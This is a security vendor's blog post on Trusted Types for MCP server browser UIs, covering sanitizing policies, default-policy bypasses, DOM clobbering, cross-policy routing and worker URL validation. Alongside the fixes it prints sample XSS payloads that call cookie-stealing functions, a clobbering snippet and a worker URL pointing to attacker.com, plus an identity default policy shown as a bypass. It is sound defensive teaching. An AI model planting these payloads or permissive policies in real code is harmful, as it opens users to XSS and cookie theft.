Blog · 2026-06-20 · Trusted Types · DOM XSS · MCP Servers
MCP Server Trusted Types API Security: createHTML/createScript Policy Enforcement, DOM Clobbering Bypasses, and Default Policy Escape Hatches
MCP server UIs render tool output in the browser DOM. Without a mechanism that enforces sanitization at the point of DOM insertion, every element.innerHTML = toolOutput line is a potential DOM XSS sink — one that fires the moment a compromised tool returns a payload, or a prompt injection causes the LLM to produce malicious markup. Trusted Types is the browser API designed to close exactly this class of vulnerability. But the API has its own attack surface: a misused default policy disables the protection entirely, DOM clobbering of window.trustedTypes silently falls back to raw strings, and cross-policy routing lets attackers choose which sanitizer processes their content. This post covers the full threat model.
What Trusted Types are and why MCP UIs need them
Trusted Types is a browser API, introduced in Chrome 83 and now shipping in all major browsers, that replaces string assignment to dangerous DOM sinks with a type-checked assignment. The browser enforces this at the IDL level: if you assign a plain string to element.innerHTML, the browser throws a TypeError at runtime rather than silently inserting the string into the document.
The API defines three typed wrappers, each corresponding to a category of DOM sink:
| Type | Sinks it guards | Created by |
|---|---|---|
TrustedHTML |
element.innerHTML, element.outerHTML, element.insertAdjacentHTML(), document.write(), DOMParser.parseFromString() |
policy.createHTML(input) |
TrustedScript |
eval(), new Function(), setTimeout(string), setInterval(string), scriptElement.text |
policy.createScript(input) |
TrustedScriptURL |
scriptElement.src, new Worker(url), new SharedWorker(url), import(url), navigator.serviceWorker.register(url) |
policy.createScriptURL(input) |
The enforcement mechanism is the Content Security Policy directive require-trusted-types-for 'script'. Without this directive, Trusted Types is available as an API but not enforced — code can still assign raw strings to sinks. With the directive active, any raw string assignment to a guarded sink throws immediately, regardless of whether the string contains malicious content. The check is structural, not content-based.
This matters for MCP UIs because the data flowing through them is not under the developer's control. A tool can return any string — including strings crafted by an attacker via prompt injection, a compromised backend tool, or a malicious MCP server listed in a registry. If the UI renders that string with innerHTML, the XSS fires. Trusted Types moves the sanitization requirement from "hope every innerHTML call has a sanitizer" to "the browser enforces it at the type level on every call."
See the SkillAudit methodology for how DOM sink coverage is scored in MCP server audits.
Before and after: innerHTML without and with Trusted Types
The before picture — what virtually every MCP UI ships before adding Trusted Types enforcement:
// BEFORE: raw innerHTML assignment — open DOM XSS sink
async function renderToolOutput(toolOutput) {
const container = document.getElementById('tool-output');
// toolOutput is a string from the MCP server tool response
// If toolOutput contains <img src=x onerror="stealCookies()"> — it executes
container.innerHTML = toolOutput;
}
// ALSO DANGEROUS: these are equivalent sinks
container.outerHTML = toolOutput;
container.insertAdjacentHTML('beforeend', toolOutput);
document.write(toolOutput);
The after picture — with a named Trusted Types policy:
// AFTER: Trusted Types enforced via CSP + named policy
// Content-Security-Policy: require-trusted-types-for 'script'; trusted-types mcp-output
// Create the named policy once at startup
const mcpPolicy = trustedTypes.createPolicy('mcp-output', {
createHTML: (input) => DOMPurify.sanitize(input, {
ALLOWED_TAGS: ['p', 'ul', 'ol', 'li', 'strong', 'em', 'code', 'pre', 'a'],
ALLOWED_ATTR: ['href'],
ALLOW_DATA_ATTR: false
}),
createScript: (_input) => {
// No legitimate reason to eval MCP tool output — always throw
throw new Error('createScript is not allowed in mcp-output policy');
},
createScriptURL: (input) => {
const url = new URL(input, location.origin);
if (url.origin !== location.origin) {
throw new Error(`Script URL origin ${url.origin} is not allowed`);
}
return input;
}
});
// Safe rendering — browser enforces TrustedHTML type at assignment
async function renderToolOutput(toolOutput) {
const container = document.getElementById('tool-output');
// If require-trusted-types-for 'script' is set and you pass a raw string here,
// the browser throws TypeError: Failed to set 'innerHTML' on 'Element': This document
// requires 'TrustedHTML' assignment.
container.innerHTML = mcpPolicy.createHTML(toolOutput);
}
DOMPurify + Trusted Types: DOMPurify has native Trusted Types integration. DOMPurify.sanitize(input, { RETURN_TRUSTED_TYPE: true }) returns a TrustedHTML object directly when called within a policy's createHTML callback. This avoids the intermediate string and works with the browser's type enforcement without any additional wrapping.
createHTML, createScript, and createScriptURL policy enforcement
A Trusted Types policy is created with trustedTypes.createPolicy(name, callbacks). The name must appear in the CSP trusted-types directive — any attempt to create a policy with an unlisted name throws a TypeError. This means the set of active policies is declared in the server-controlled CSP header, not in client-side JavaScript.
// Full policy with all three callbacks
const mcpPolicy = trustedTypes.createPolicy('mcp-output', {
// TrustedHTML: called for innerHTML, outerHTML, insertAdjacentHTML, document.write
createHTML: (input) => {
// Run through DOMPurify — the return value becomes the TrustedHTML object's value
return DOMPurify.sanitize(input, { USE_PROFILES: { html: true } });
},
// TrustedScript: called for eval(), new Function(), setTimeout(string)
// Returning a value here would allow evaluation — always throw instead
createScript: (_input) => {
throw new Error('Script evaluation is not permitted in MCP output policy');
},
// TrustedScriptURL: called for script.src, new Worker(url), import(url)
createScriptURL: (input) => {
const ALLOWED_ORIGINS = ['https://cdn.example.com', location.origin];
const url = new URL(input, location.origin);
if (!ALLOWED_ORIGINS.includes(url.origin)) {
throw new TypeError(`createScriptURL: origin '${url.origin}' is not in allowlist`);
}
return input; // return the validated URL as a string; browser wraps it in TrustedScriptURL
}
});
Named policies are enumerable. trustedTypes.getPolicyNames() returns an array of the names of all policies created in the current document. An MCP server audit should enumerate this list at startup and assert that only the expected policy names are present. An unexpected policy name — registered by a third-party analytics script, a CDN-loaded library, or an injected script — means a new trust boundary has been introduced without review.
// Startup policy audit
const EXPECTED_POLICIES = new Set(['mcp-output']);
function auditTrustedTypesPolicies() {
const actual = new Set(trustedTypes.getPolicyNames());
for (const name of actual) {
if (!EXPECTED_POLICIES.has(name)) {
// Log, alert, or block further execution
console.error(`Unexpected Trusted Types policy registered: '${name}'`);
reportSecurityEvent('unexpected_tt_policy', { policyName: name });
}
}
for (const name of EXPECTED_POLICIES) {
if (!actual.has(name)) {
console.error(`Expected Trusted Types policy missing: '${name}'`);
}
}
}
// Call immediately after all scripts have loaded but before any user interaction
document.addEventListener('DOMContentLoaded', auditTrustedTypesPolicies);
The default policy: convenient escape hatch, complete bypass
The string "default" is a reserved policy name with special semantics. When the browser encounters a raw string being assigned to a Trusted Types sink and no existing TrustedHTML / TrustedScript / TrustedScriptURL object is provided, it looks for a policy named "default". If that policy exists, the browser calls its corresponding callback on the raw string and uses the return value. If no default policy exists, the browser throws the expected TypeError.
This mechanism exists for gradual migration of large codebases: you can create a default policy that logs violations while still passing the string through, giving you visibility into all sink assignments without breaking the application. But in a production MCP UI, a default policy that returns its input unchanged is a complete bypass of Trusted Types enforcement:
// This defeats the entire CSP directive — do NOT do this in production
trustedTypes.createPolicy('default', {
createHTML: (s) => s, // returns raw input unchanged — XSS allowed
createScript: (s) => s, // allows eval() of any string
createScriptURL: (s) => s // allows loading scripts from any URL
});
// Every raw string assignment now succeeds silently:
element.innerHTML = '<img src=x onerror=stealCookies()>'; // executes — default policy returned it unchanged
The attacker's goal: Any JavaScript that executes before your application's policy setup and calls trustedTypes.createPolicy('default', { createHTML: s => s }) defeats your entire Trusted Types deployment. Vectors include: CDN-hosted scripts loaded before your app bundle, <script> tags injected via server-side rendering without proper escaping, and race conditions in async script loading. The first call to create any given policy name wins — subsequent calls with the same name throw a TypeError.
The correct production stance is to never create a default policy at all. Let the browser throw on any unguarded sink — those errors will appear in your console and in your CSP reports, and they identify exactly which code paths need to be updated to use named policies. If you must create a default policy for migration visibility, ensure it applies the same sanitizer as your named policy and throws on any input it cannot sanitize cleanly, rather than passing it through.
// Acceptable: default policy for migration auditing only — still sanitizes
// Remove once all callsites are migrated to the named policy
trustedTypes.createPolicy('default', {
createHTML: (s) => {
// Log the violation callsite for migration tracking
console.warn('Trusted Types default policy called — migrate to named policy', new Error().stack);
// Still sanitize — do not pass through raw
return DOMPurify.sanitize(s);
},
createScript: (_s) => {
throw new Error('Script evaluation reached default Trusted Types policy — blocked');
},
createScriptURL: (_s) => {
throw new Error('Script URL reached default Trusted Types policy — blocked');
}
});
DOM clobbering of window.trustedTypes
window.trustedTypes is a browser global that exposes the Trusted Types API. Like all browser globals, it can be overwritten by a named DOM element. The DOM clobbering attack works because browsers expose certain DOM elements as global variables: an element with id="foo" becomes accessible as window.foo.
An attacker who can inject HTML before the page's scripts execute — through server-side rendering without output escaping, cached HTML poisoning, or a stored XSS that fires during page load — can overwrite window.trustedTypes with a DOM element:
<!-- Attacker-injected into the SSR-rendered HTML before any scripts --> <form id="trustedTypes"></form> <!-- Or an anchor element --> <a id="trustedTypes" href="https://attacker.com"></a>
After this injection, window.trustedTypes resolves to the DOM element, not the browser's TrustedTypes API object. Code that checks for the API before using it then silently falls back to the unprotected path:
// Vulnerable pattern — reads window.trustedTypes every time it's needed
function renderOutput(html) {
if (window.trustedTypes && window.trustedTypes.createPolicy) {
// This branch is unreachable when trustedTypes is clobbered to a DOM node:
// window.trustedTypes exists (it's the form element) but .createPolicy is undefined
// So the condition is false — falls through to the raw innerHTML
}
// Falls through to the dangerous path
element.innerHTML = html; // DOM XSS — raw string accepted
}
The silent fallback problem: The check if (window.trustedTypes && window.trustedTypes.createPolicy) is a common defensive pattern copied from polyfill documentation. When trustedTypes is clobbered to a form element, window.trustedTypes is truthy (DOM nodes are objects) but window.trustedTypes.createPolicy is undefined. The condition evaluates to false, and the code falls back to the raw string path — without logging any error or warning. The attack is completely silent.
The fix is to cache the API reference at the earliest possible synchronous execution point — before any HTML has been rendered to the DOM — and reference the cached variable in all subsequent code:
// Correct: cache the reference in the first synchronous script execution,
// before any HTML content is inserted into the document
const TT = globalThis.trustedTypes;
// All subsequent code references TT, not window.trustedTypes
// Once cached to a local const, the DOM element cannot overwrite it
if (TT && TT.createPolicy) {
const mcpPolicy = TT.createPolicy('mcp-output', {
createHTML: (input) => DOMPurify.sanitize(input)
});
// Export for use throughout the application
window.__mcpPolicy = mcpPolicy;
} else {
// TT is null: browser doesn't support Trusted Types
// This is a distinct case from DOM clobbering — handle differently
console.warn('Trusted Types not supported in this browser');
}
// In rendering code — reference __mcpPolicy, not window.trustedTypes
function renderToolOutput(html) {
if (window.__mcpPolicy) {
container.innerHTML = window.__mcpPolicy.createHTML(html);
} else {
// Fallback for browsers without Trusted Types support
container.innerHTML = DOMPurify.sanitize(html);
}
}
The key invariant: const TT = globalThis.trustedTypes in the first synchronous <script> tag captures the browser's TrustedTypes API before any parser-inserted DOM elements can overwrite the global. A subsequent <form id="trustedTypes"> in the HTML does overwrite window.trustedTypes, but your local TT const holds the original API reference and is not affected.
Cross-policy injection: attacker-controlled policy routing
A more subtle vulnerability emerges when an MCP UI registers two named policies with different levels of sanitizer strictness. This is common during migrations: a strict mcp-output policy is added for new components, but an older mcp-legacy policy is retained for backwards compatibility with existing tool renderers that rely on richer HTML output.
Strict policy (mcp-output)
Uses DOMPurify.sanitize() with a narrow allowlist of safe tags. Strips all event handlers, scripts, and most attributes. Suitable for rendering arbitrary tool output in the main content area.
Legacy policy (mcp-legacy)
Allows a wider set of HTML for backwards compatibility — permits style attributes, custom data attributes, and a broader tag allowlist. Retained for rendering output from a specific set of trusted internal tools that produce richer markup.
The vulnerability arises in the routing logic that decides which policy processes a given piece of tool output:
// Vulnerable: policy name read from user-controlled data attribute
function renderToolOutput(toolName, html, container) {
// data-policy is set by the tool response or by UI configuration
// If an attacker controls data-policy, they route their payload through mcp-legacy
const policyName = container.dataset.policy || 'mcp-output';
const policy = policyName === 'mcp-legacy' ? legacyPolicy : strictPolicy;
container.innerHTML = policy.createHTML(html);
}
// Attack: attacker's tool response includes a data-policy attribute
// that gets applied to the container element before renderToolOutput is called
// <div id="output" data-policy="mcp-legacy"></div>
// Now attacker's HTML goes through the permissive sanitizer
// Fixed: policy pinned at construction time — never dispatched based on runtime data
// The policy used for a component is determined when the component is instantiated,
// not when it renders content
class ToolOutputRenderer {
#policy; // private field — cannot be changed after construction
constructor(policyName) {
// policyName comes from application code, never from tool output or DOM attributes
const allowedPolicies = { 'mcp-output': strictPolicy, 'mcp-legacy': legacyPolicy };
if (!allowedPolicies[policyName]) {
throw new Error(`Unknown policy: ${policyName}`);
}
this.#policy = allowedPolicies[policyName];
}
render(html, container) {
// this.#policy is fixed — no runtime dispatch
container.innerHTML = this.#policy.createHTML(html);
}
}
// Usage: policy is determined by the component registration, not tool output
const externalToolRenderer = new ToolOutputRenderer('mcp-output'); // always strict
const internalToolRenderer = new ToolOutputRenderer('mcp-legacy'); // pinned to internal tools only
The rule: the decision of which policy applies to a rendering context is a security decision. It must be made at construction time by application code, not at render time by reading user-controlled data. Any code path where tool output, URL parameters, DOM attributes, or query strings can influence which Trusted Types policy processes subsequent output is a cross-policy injection vulnerability.
Worker and module script URL validation with TrustedScriptURL
new Worker(scriptUrl) is a TrustedScriptURL sink. When Trusted Types enforcement is active, assigning a raw string to this constructor throws a TypeError. The worker script URL must be wrapped in a TrustedScriptURL object produced by a policy's createScriptURL callback.
In MCP UIs, the worker script URL often comes from tool configuration, dynamic feature loading, or — critically — from tool output that specifies which analysis engine to run. Without Trusted Types, this is an open injection point:
// BEFORE: Worker URL from tool response — open injection
async function launchAnalysisWorker(toolResponse) {
// toolResponse.workerUrl is an attacker-controlled string
// Attacker sends: { workerUrl: "https://attacker.com/malicious-worker.js" }
const worker = new Worker(toolResponse.workerUrl); // executes attacker's script
worker.postMessage({ task: 'analyze', data: userDocument });
}
// AFTER: TrustedScriptURL enforcement
const ALLOWED_WORKER_ORIGINS = [location.origin, 'https://cdn.example.com'];
const workerPolicy = trustedTypes.createPolicy('mcp-workers', {
createScriptURL: (input) => {
let url;
try {
url = new URL(input, location.origin);
} catch {
throw new TypeError(`Invalid worker URL: ${input}`);
}
if (!ALLOWED_WORKER_ORIGINS.includes(url.origin)) {
throw new TypeError(
`Worker origin '${url.origin}' is not in allowlist. ` +
`Allowed: ${ALLOWED_WORKER_ORIGINS.join(', ')}`
);
}
// Additional path validation: only allow /workers/ directory
if (!url.pathname.startsWith('/workers/')) {
throw new TypeError(`Worker path '${url.pathname}' is not in /workers/`);
}
return input;
}
});
async function launchAnalysisWorker(toolResponse) {
// Throws if URL is not in allowed origins/paths
const trustedUrl = workerPolicy.createScriptURL(toolResponse.workerUrl);
const worker = new Worker(trustedUrl); // TrustedScriptURL — browser accepts it
worker.postMessage({ task: 'analyze', data: userDocument });
}
The createScriptURL callback is the single validation point for all worker URL creation in your application. Without Trusted Types, you'd need to audit every new Worker() call individually and trust that each has its own URL validation. With Trusted Types enforcement active, there is exactly one place where a string can become a TrustedScriptURL — the callback — and the browser guarantees that any worker created without going through that callback throws at construction time.
The same enforcement applies to import(), navigator.serviceWorker.register(), and new SharedWorker(). All of these are TrustedScriptURL sinks under the Trusted Types model. See the SkillAudit blog for related coverage of worker thread security and service worker attack surfaces.
Attack scenario: race condition in policy initialization
The ordering of policy creation relative to third-party script loading is a concrete attack surface, not a theoretical one. The window during which an attacker can register a permissive default policy is bounded by script load order.
Page loads. HTML is parsed. Browser begins loading <script> tags in order. Your application bundle is loaded asynchronously (defer or async). A CDN-hosted analytics script is also loaded — it executes before your bundle because it appears earlier in the HTML.
CDN script is compromised. The analytics script's CDN origin is compromised in a supply chain attack. The attacker modifies the analytics script to prepend: trustedTypes.createPolicy('default', { createHTML: s => s, createScript: s => s, createScriptURL: s => s });
Default policy registered before your app. The analytics script executes first, registering the permissive default policy. When your application bundle loads, any attempt to register a policy named 'default' throws a TypeError — the first call wins.
All subsequent DOM assignments use the permissive default. Your app's named policy still works for explicit createHTML() calls. But any code in your app or in other libraries that assigns raw strings to sinks (third-party components, error message renderers, markdown libraries) now goes through the attacker's default policy unchanged.
MCP tool delivers XSS payload. A malicious tool result contains <script>exfiltrateCookies()</script>. A third-party markdown renderer in the UI processes it with container.innerHTML = rendered — a raw string assignment. The browser calls the default policy, which returns the string unchanged. The script executes.
Defense: register your default policy as the absolute first thing your application does — in a synchronous inline <script> tag at the top of <head>, before any external scripts are loaded. Or: do not register a default policy at all, and fix all libraries that use raw string sink assignments to use your named policy instead.
<!-- In <head>, before any external scripts -->
<script>
// First synchronous execution — register default policy before any third-party scripts
// This prevents any subsequently-loaded script from registering a permissive default
if (typeof trustedTypes !== 'undefined' && trustedTypes.createPolicy) {
trustedTypes.createPolicy('default', {
createHTML: (input) => {
// Same sanitizer as your named policy — no free pass
return DOMPurify.sanitize(input);
},
createScript: () => {
throw new Error('Script evaluation blocked by default Trusted Types policy');
},
createScriptURL: () => {
throw new Error('Script URL blocked by default Trusted Types policy');
}
});
}
</script>
SkillAudit findings
require-trusted-types-for 'script' absent from Content-Security-Policy header — Trusted Types enforcement is not active. All innerHTML, outerHTML, insertAdjacentHTML, eval, and script.src assignments accept raw strings from MCP tool output without any policy interception. Every DOM rendering call is an open XSS sink. −24 pts
trustedTypes.createPolicy('default', { createHTML: s => s }). The browser calls the default policy for every raw string that reaches a guarded sink, and the identity transform returns it unchanged. This completely bypasses Trusted Types enforcement — equivalent to having no policy at all. XSS payloads in MCP tool output execute unimpeded. −22 pts
window.trustedTypes referenced directly in policy guard checks rather than cached on first load. A <form id="trustedTypes"> or <a id="trustedTypes"> injected before script execution overwrites the global, causing all policy guard checks to silently evaluate false. The code falls back to raw innerHTML assignments without any error or log entry. −18 pts
data-policy DOM attribute that MCP tool responses can influence. Attackers route their payload through the permissive legacy policy by setting data-policy="mcp-legacy" in a tool response that reaches the output container. −16 pts
createScriptURL callback validates the URL's scheme (https:) but not the origin. An attacker-controlled worker URL from an MCP tool response — pointing to any https:// external origin — passes validation and loads the attacker's worker script. Worker loads arbitrary external JavaScript, bypassing same-origin restrictions. −12 pts
trustedTypes.getPolicyNames() at application startup returns a policy name not listed in the application's expected policy set. A third-party analytics or error-monitoring script registered an additional named policy. The policy's sanitizer configuration is not under the application team's control, widening the trust boundary. −10 pts
Trusted Types sink coverage in MCP rendering components
Trusted Types enforcement is only as complete as the set of sinks it covers. A common gap is that developers add the CSP directive and create a named policy, but forget to audit all the places in the codebase where sink assignments occur. The browser will catch uncovered sinks at runtime with a TypeError, but only if the sink is hit during testing — sinks in error handling paths, fallback renderers, or rarely-exercised feature code may not be hit during normal test runs.
A systematic audit approach: search for every DOM sink assignment pattern in the codebase before deploying require-trusted-types-for 'script'. The SkillAudit static analysis methodology flags these patterns:
| Sink pattern | Trusted Types type required | Common miss? |
|---|---|---|
element.innerHTML = ... |
TrustedHTML |
No — developers know this one |
element.outerHTML = ... |
TrustedHTML |
Sometimes — outerHTML is less commonly audited |
element.insertAdjacentHTML(pos, str) |
TrustedHTML |
Often — appears in third-party libraries |
document.write(str) |
TrustedHTML |
Sometimes — legacy code or third-party tag managers |
DOMParser.parseFromString(str, 'text/html') |
TrustedHTML |
Often — used in markdown renderers and sanitizers themselves |
setTimeout(str, delay) |
TrustedScript |
Yes — string form of setTimeout is forgotten |
new Function(str) |
TrustedScript |
Yes — appears in template engines and expression evaluators |
scriptEl.src = url |
TrustedScriptURL |
Sometimes — dynamic script injection for feature loading |
new Worker(url) |
TrustedScriptURL |
Often — workers added without considering Trusted Types |
import(url) |
TrustedScriptURL |
Yes — dynamic imports in module-based apps frequently missed |
Report-only mode for staged rollout
Deploying require-trusted-types-for 'script' in enforcement mode on a production application that has not been fully migrated will immediately break functionality. The safe rollout path uses the report-only CSP directive first:
// Step 1: Report-only — violations reported but not enforced Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; trusted-types mcp-output; report-uri /csp-violations // Step 2: After all violations are fixed — switch to enforcing Content-Security-Policy: require-trusted-types-for 'script'; trusted-types mcp-output; report-uri /csp-violations
In report-only mode, every raw string assignment to a Trusted Types sink generates a violation report sent to your report-uri endpoint. The report includes the document URL, the blocked string value (truncated), and the stack trace of the sink assignment. This gives you a complete map of unprotected sink assignments in production before enforcement blocks them.
The SkillAudit CI scan verifies the Trusted Types CSP directive is present in the enforcement mode header on every deploy. Report-only mode is logged as a configuration gap — adequate for staging environments, insufficient for production. See SkillAudit pricing for scan frequency options.
Deployment checklist
- Add
require-trusted-types-for 'script'to theContent-Security-Policyheader served with every MCP UI response - Add
trusted-types mcp-output(listing all expected policy names) to the same CSP header — unlisted policy names throw at creation time - Never create a
"default"policy in production — allow the browser to throwTypeErroron any unguarded sink and fix the callsite - Cache
globalThis.trustedTypesto aconstin the first synchronous<script>block before any HTML rendering — never referencewindow.trustedTypesin guard checks - All
innerHTMLassignments usepolicy.createHTML(DOMPurify.sanitize(input))— no exceptions for "trusted" tool sources createScriptcallback always throws — no legitimate MCP UI use case requires evaluating tool output as JavaScriptcreateScriptURLvalidates against an explicit origin allowlist and path prefix, throws on any unknown origin or path- Audit
trustedTypes.getPolicyNames()at page startup — alert and report if any unexpected policy name appears - Policy selection for rendering components is pinned at construction time by application code — never dispatched based on tool output, URL parameters, or DOM attributes
- Register your named policy as the first synchronous operation before any third-party scripts to prevent race-condition default policy injection
- Use report-only mode (
Content-Security-Policy-Report-Only: require-trusted-types-for 'script') in staging to identify uncovered sinks before enforcement goes live - SkillAudit CI scan verifies the enforcement-mode CSP header includes Trusted Types directive on every deploy — report-only alone is flagged as a gap in production
SkillAudit check: SkillAudit's CSP header analysis detects missing require-trusted-types-for directives, identifies identity-transform default policies in JavaScript source, and flags window.trustedTypes references that are not preceded by a cached local assignment. Audit your MCP server →
See also: MCP server Content Security Policy deep dive (script-src, object-src, base-uri) · MCP server worker thread message security (postMessage structured clone, SharedArrayBuffer races) · MCP server WebSocket security (origin validation, message parsing)
Scan your MCP server for Trusted Types policy violations
SkillAudit detects missing Trusted Types policies, default policy escape hatches, and DOM sink usage without TrustedHTML wrappers. Get a free audit in 60 seconds.
Free audit →